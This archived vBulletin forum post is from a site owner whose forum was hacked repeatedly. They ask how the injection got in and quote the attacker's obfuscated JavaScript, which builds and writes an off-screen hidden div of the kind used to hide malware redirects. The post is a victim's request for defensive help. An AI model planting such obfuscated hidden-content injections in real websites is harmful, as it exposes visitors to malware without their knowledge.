vb.org Archive - Someone Hack my forum by putting these codes "a = Array('c4v4', 'I', ' wid',..." ?

Hi,

My forum got hacked 5 times with one today and i wonder know if someone know how to block this kind of hack below. Many experts said that is not by changing the FTP Password can resolve this problem, but it's by knowing from where in my forum this injection came from.

I think and confirm, that is came from an injection, please could someone tell me from where it cames from ?

The hacker put his codes below, in order to redirect my forum to Malware Programs :

Code:

<script type="text/javascript">

a = Array('c4v4', 'I', ' wid', 'rxkQ', 's', 'te', 'ZHA', 'px;', 'u', 'A', 'yle=', 'V', ' le', 'px', 'ht: ', ': a', '0', ' s', 'ig', 'o', '; he', 'ft:', 'ion', 'idde', '00px', 'NI', 'I', ' ', 'kB', 'n;\"', '6Ms', '\"po', '20', 'Mh', 'l', 'th: ', 'H', 'ver', 'x; o', '-2', 'low', 'f', '</di', 'v>', '>', 'wri', 'H0d', '<div', 'x', 'to', '1', 'U', 'te; ', ': h', '200', 'LL9', 'p: ', '-', ';', 'l', 't', 'jZ', 'ln', 'it', 'bs', '200p', '3');

b = bb = Array();

z = Array();

b[0] = Array(47,17,60,10,31,4,63,22,15,64,19,59,8,52,49,56,39,24,58,12,21,27,57,54,7,2,35,32,16,13,20,18,14,65,38,37,41,40,53,23,29,44);

b[1] = Array(45,5,62);

b[2] = Array(42,43);

ss = '';

for (ik in b) {

       z[ik] = '';

       for (i = 0; i < b[ik].length; ++i) {

                 z[ik] += '' + a[b[ik][i]];

               }

}

document[z[1]](z[0]);
